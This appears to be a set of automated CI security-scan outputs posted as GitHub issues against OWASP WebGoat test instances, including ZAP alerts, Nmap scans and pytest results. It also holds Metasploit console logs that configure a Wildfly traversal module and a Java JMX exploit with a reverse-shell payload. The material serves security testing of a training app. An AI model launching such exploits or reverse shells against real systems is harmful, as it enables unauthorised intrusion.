Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./src/exploit/javajmxreversehttps.rc)> show options
Module options (exploit/multi/misc/javajmxserver):
Name Current Setting Required Description
----
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
----
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-----
0 Generic (Java Payload)
View the full module info with the info, or info -d command.
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
RHOSTS =>
resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp
resource (./src/exploit/javajmxreversehttps.rc)> exploit
[*] Payload Handler Started as Job

```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

# ZAP Full Scan Report

GitHub Issue number # 533

GitHub Issue URL : [Here!](#)

- Site: <http://20.207.203.193:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Cookie Slack Detector** [90027] total: 2:
    - <http://20.207.203.193:8080/WebGoat/login>
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Base64 Disclosure** [10094] total: 1:
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Non-Storable Content** [10049] total: 1:
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/WebGoat/login>
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/WebGoat/login>
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/WebGoat/login>
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/WebGoat/login>
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Session Management Response Identified** [10112] total: 2:
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
    - <http://20.207.203.193:8080/WebGoat/start.mvc>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 24:
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>

- <http://20.207.203.193:8080/WebGoat>
- <http://20.207.203.193:8080/WebGoat>
- <http://20.207.203.193:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6518583409

- Site: <http://20.193.232.71:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/sitemap.xml>
    - <http://20.193.232.71:8080/WebGoat/registration>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518718688

# Nmap-ParrotOS Scan output

GitHub Issue number # 532

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**

Nmap vulnerability scanning  
for 20.207.203.193

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 3s (7903 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 15:55 UTC

Nmap scan report for 20.207.203.193

Host is up (0.22s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 b4:b1:2c:5d:3f:f6:68:31:5d:89:61:d7:20:f2:0a:ad (ECDSA)

|\_ 256 1d:9b:ff:4d:b3:8b:0f:9b:3e:65:61:b3:0b:57:06:15 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 14 Oct 2023 15:59:45 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|\_ Date: Sat, 14 Oct 2023 15:59:44 GMT

|\_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:



| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 15:59:44 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T15:59:44.548+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 16:00:02 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close

| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T16:00:02.416+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/14%Time=652ABAF0%P=x86\_64-pc-linux-gnu%(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 14 Oct 2023 15:59:

SF:44 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 14\n

SF:x20Oct 2023 15:59:44 GMT

")%(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 14\

SF:20Oct 2023 15:59:45 GMT

")%(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

```

SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====
SF-Port9090-TCP:V=7.92%I=7%D=10/14%Time=652ABAF0%P=x86_64-pc-linux-
gnu%r(G
SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac
SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n
SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

```

SF:ame-Options: DENY Date: Sat, 14 Oct 2023 15:59:44\n  
SF:x20GMT Connection: close Vary: Origin Vary: Access-Co  
SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co  
SF:ntent-Type-Options: nosniff Content-Type: application/json  
SF: { \"timestamp\" : \"2023-10-14T15:59:44.548+00:00\n  
SF:\", \"status\" : 404, \"error\" : \"Not  
SF:0Found\", \"path\" : \"\" }\" )%r(WMSRequest,42,\"HTTP/1\n  
SF:.1 400 Bad Request Content-Length: 0 Connection: c  
SF:lose  
\" )%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request  
SF:Content-Length: 0 Connection: close  
\" )%r(SqueezeCenter\_  
SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C  
SF:onnection: close  
\" )%r(GenericLines,42,\"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
\" )%  
SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n  
SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid  
SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache  
SF:X-Frame-Options: DENY Date: Sat, 14 Oct 2023 16:00  
SF::02 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR  
SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n  
SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ  
SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a  
SF:pplication/json  
{ \"timestamp\" : \"2023-10-14T16  
SF::00:02.416+00:00\", \"status\" : 404, \"error  
SF:\\\" : \"Not Found\", \"path\" : \"\" }\" )%r(RTS  
SF:PRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0  
SF: Connection: close  
\" );

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.03 ms 172.17.0.1

2 5479.27 ms 20.207.203.193

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 354.81 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 16:01 UTC

Nmap scan report for 20.207.203.193

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 16:01 UTC

Nmap scan report for 20.207.203.193

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

# ZAP Full Scan Report

GitHub Issue number # 531

GitHub Issue URL : [Here!](#)

- Site: <http://20.207.203.193:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/login>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518583409

# Sonar Cloud Code Scan Report

GitHub Issue number # 530

GitHub Issue URL : [Here!](#)

**SonarQube Cloud code scan**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Snyk Report

GitHub Issue number # 529

GitHub Issue URL : [Here!](#)

**Snyk\_scan**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.



# Pytest-Playwright Test Output Issue

GitHub Issue number # 528

GitHub Issue URL : [Here!](#)

## **Playwright pytest**

Starting pytest....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,  
playwright-0.4.3, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test\_AsyncWebGoatUseCases.py ... [ 60%]

src/test\_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 29.74s  
=====
```

Stop pytest....

# Metasploit-ParrotOS Test output

GitHub Issue number # 527

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (11.3 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Reading package lists...  
Building dependency tree...  
Reading state information...  
Calculating upgrade...  
The following packages will be upgraded:  
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Hit:1 https://deb.parrot.sh/parrot parrot InRelease  
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease  
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
43 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.207.205.9

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./src/exploit/javajmxreversehttps.rc)> show options
Module options (exploit/multi/misc/javajmxserver):
Name Current Setting Required Description
----
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
----
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-----
0 Generic (Java Payload)
View the full module info with the info, or info -d command.
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
RHOSTS =>
resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp
resource (./src/exploit/javajmxreversehttps.rc)> exploit
[*] Payload Handler Started as Job

```

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

# ZAP Full Scan Report

GitHub Issue number # 526

GitHub Issue URL : [Here!](#)

- Site: <http://20.207.205.9:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Cookie Slack Detector** [90027] total: 2:
    - <http://20.207.205.9:8080/WebGoat/login>
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Cookie without SameSite Attribute** [10054] total: 1:
